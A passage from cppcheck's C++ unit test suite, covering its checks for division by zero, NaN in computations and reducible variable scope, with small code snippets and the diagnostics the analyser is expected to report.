TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" 